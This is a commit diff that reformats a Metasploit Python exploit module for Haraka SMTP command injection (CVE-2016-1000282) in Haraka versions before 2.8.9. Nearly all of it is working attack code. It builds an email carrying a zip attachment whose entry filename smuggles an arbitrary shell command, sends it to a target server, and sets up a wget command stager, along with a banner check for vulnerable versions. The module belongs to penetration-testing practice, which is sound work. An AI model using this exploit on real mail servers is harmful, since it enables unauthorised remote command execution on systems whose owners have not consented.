1. Remove unused modules
2. Prettify code
This commit is contained in:
@@ -14,12 +14,9 @@ import re
|
||||
from distutils.version import StrictVersion
|
||||
from email.mime.application import MIMEApplication
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.utils import COMMASPACE, formatdate
|
||||
from email.header import Header
|
||||
from email.utils import formataddr
|
||||
from email.mime.text import MIMEText
|
||||
from datetime import datetime
|
||||
import zipfile
|
||||
|
||||
try:
|
||||
# Python 2 plain strings are bytes
|
||||
from StringIO import StringIO as BytesIO
|
||||
@@ -28,77 +25,111 @@ except ImportError:
|
||||
from metasploit import module
|
||||
|
||||
metadata = {
|
||||
'name': 'Haraka SMTP Command Injection',
|
||||
'description': '''
|
||||
"name": "Haraka SMTP Command Injection",
|
||||
"description": """
|
||||
The Haraka SMTP server comes with a plugin for processing attachments.
|
||||
Versions before 2.8.9 can be vulnerable to command injection
|
||||
''',
|
||||
'authors': ['xychix <xychix[AT]hotmail.com>', 'smfreegard', 'Adam Cammack <adam_cammack[AT]rapid7.com>'],
|
||||
'date': '2017-01-26',
|
||||
'references': [
|
||||
{'type': 'cve', 'ref': '2016-1000282'},
|
||||
{'type': 'edb', 'ref': '41162'},
|
||||
{'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'},
|
||||
""",
|
||||
"authors": [
|
||||
"xychix <xychix[AT]hotmail.com>",
|
||||
"smfreegard",
|
||||
"Adam Cammack <adam_cammack[AT]rapid7.com>",
|
||||
],
|
||||
'type': 'remote_exploit_cmd_stager',
|
||||
'rank': 'excellent',
|
||||
'wfsdelay': 5,
|
||||
'privileged': True,
|
||||
'targets': [
|
||||
{'platform': 'linux', 'arch': 'x64'},
|
||||
{'platform': 'linux', 'arch': 'x86'}
|
||||
"date": "2017-01-26",
|
||||
"references": [
|
||||
{"type": "cve", "ref": "2016-1000282"},
|
||||
{"type": "edb", "ref": "41162"},
|
||||
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
|
||||
],
|
||||
'payload': {
|
||||
'command_stager_flavor': 'wget'
|
||||
"type": "remote_exploit_cmd_stager",
|
||||
"rank": "excellent",
|
||||
"wfsdelay": 5,
|
||||
"privileged": True,
|
||||
"targets": [
|
||||
{"platform": "linux", "arch": "x64"},
|
||||
{"platform": "linux", "arch": "x86"},
|
||||
],
|
||||
"payload": {"command_stager_flavor": "wget"},
|
||||
"options": {
|
||||
"email_to": {
|
||||
"type": "string",
|
||||
"description": "Email to send to, must be accepted by the server",
|
||||
"required": True,
|
||||
"default": "admin@localhost",
|
||||
},
|
||||
"email_from": {
|
||||
"type": "string",
|
||||
"description": "Address to send from",
|
||||
"required": True,
|
||||
"default": "foo@example.com",
|
||||
},
|
||||
"rhost": {
|
||||
"type": "address",
|
||||
"description": "Target server",
|
||||
"required": True,
|
||||
"default": None,
|
||||
},
|
||||
"rport": {
|
||||
"type": "port",
|
||||
"description": "Target server port",
|
||||
"required": True,
|
||||
"default": 25,
|
||||
},
|
||||
"command": {
|
||||
"type": "string",
|
||||
"description": "Command to run on the target",
|
||||
"required": True,
|
||||
"default": "/bin/echo hello",
|
||||
},
|
||||
},
|
||||
'options': {
|
||||
'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'},
|
||||
'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'},
|
||||
'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25},
|
||||
'command': {'type': 'string', 'description': 'Command to run on the target', 'required': True, 'default': '/bin/echo hello'}
|
||||
},
|
||||
'notes': {
|
||||
'AKA': ['Harakiri']
|
||||
}}
|
||||
"notes": {"AKA": ["Harakiri"]},
|
||||
}
|
||||
|
||||
|
||||
def send_mail(to, mailserver, cmd, mfrom, port):
|
||||
msg = MIMEMultipart()
|
||||
html = "harakiri"
|
||||
msg['Subject'] = "harakiri"
|
||||
msg['From'] = mfrom
|
||||
msg['To'] = to
|
||||
msg["Subject"] = "harakiri"
|
||||
msg["From"] = mfrom
|
||||
msg["To"] = to
|
||||
msg.attach(MIMEText(html))
|
||||
module.log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
|
||||
part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
|
||||
part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
|
||||
module.log(
|
||||
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
|
||||
% (to, cmd, mailserver),
|
||||
"debug",
|
||||
)
|
||||
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
|
||||
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
|
||||
msg.attach(part)
|
||||
module.log("Sending mail to target server...")
|
||||
module.log(msg.as_string(), 'debug')
|
||||
module.log(msg.as_string(), "debug")
|
||||
s = smtplib.SMTP(mailserver, port)
|
||||
try:
|
||||
resp = s.sendmail(mfrom, to, msg.as_string())
|
||||
resp = s.sendmail(mfrom, to, msg.as_string())
|
||||
except smtplib.SMTPDataError as err:
|
||||
if err[0] == 450:
|
||||
module.log("Triggered bug in target server (%s)"%err[1], 'good')
|
||||
s.close()
|
||||
return(True)
|
||||
module.log("Bug not triggered in target server", 'error')
|
||||
module.log("it may not be vulnerable or have the attachment plugin activated", 'error')
|
||||
if err[0] == 450:
|
||||
module.log("Triggered bug in target server (%s)" % err[1], "good")
|
||||
s.close()
|
||||
return True
|
||||
module.log("Bug not triggered in target server", "error")
|
||||
module.log(
|
||||
"it may not be vulnerable or have the attachment plugin activated", "error"
|
||||
)
|
||||
s.close()
|
||||
return(False)
|
||||
return False
|
||||
|
||||
|
||||
class InMemoryZip(object):
|
||||
def __init__(self):
|
||||
self.in_memory_zip = BytesIO()
|
||||
|
||||
def append(self, filename_in_zip, file_contents):
|
||||
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
|
||||
zf.writestr(filename_in_zip, file_contents)
|
||||
for zfile in zf.filelist:
|
||||
zfile.create_system = 0
|
||||
return self
|
||||
|
||||
def read(self):
|
||||
self.in_memory_zip.seek(0)
|
||||
return self.in_memory_zip.read()
|
||||
@@ -107,40 +138,53 @@ class InMemoryZip(object):
|
||||
def create_zip(cmd="touch /tmp/harakiri"):
|
||||
z1 = InMemoryZip()
|
||||
z2 = InMemoryZip()
|
||||
z2.append("harakiri.txt",
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")
|
||||
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
|
||||
return(z1.read())
|
||||
z2.append(
|
||||
"harakiri.txt",
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
|
||||
)
|
||||
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
|
||||
return z1.read()
|
||||
|
||||
|
||||
def check_banner(args):
|
||||
module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
|
||||
module.log(
|
||||
"{}:{} Starting banner check for Haraka < 2.8.9".format(
|
||||
args["rhost"], args["rport"]
|
||||
),
|
||||
level="debug",
|
||||
)
|
||||
c = smtplib.SMTP()
|
||||
try:
|
||||
(code, banner) = c.connect(args['rhost'], int(args['rport']))
|
||||
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
|
||||
except:
|
||||
return 'unknown'
|
||||
return "unknown"
|
||||
|
||||
c.quit()
|
||||
|
||||
if code == 220 and 'Haraka' in banner:
|
||||
versions = re.findall('(\d+\.\d+\.\d+)', banner)
|
||||
if code == 220 and "Haraka" in banner:
|
||||
versions = re.findall("(\d+\.\d+\.\d+)", banner)
|
||||
if versions:
|
||||
if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
|
||||
return 'appears'
|
||||
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
|
||||
return "appears"
|
||||
else:
|
||||
return 'safe'
|
||||
return "safe"
|
||||
else:
|
||||
return 'detected'
|
||||
return "detected"
|
||||
elif code == 220:
|
||||
return 'detected'
|
||||
return "detected"
|
||||
else:
|
||||
return 'unknown'
|
||||
return "unknown"
|
||||
|
||||
|
||||
def exploit(args):
|
||||
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
|
||||
send_mail(
|
||||
args["email_to"],
|
||||
args["rhost"],
|
||||
args["command"],
|
||||
args["email_from"],
|
||||
int(args["rport"]),
|
||||
)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if __name__ == "__main__":
|
||||
module.run(metadata, exploit, soft_check=check_banner)
|
||||
|
||||
Reference in New Issue
Block a user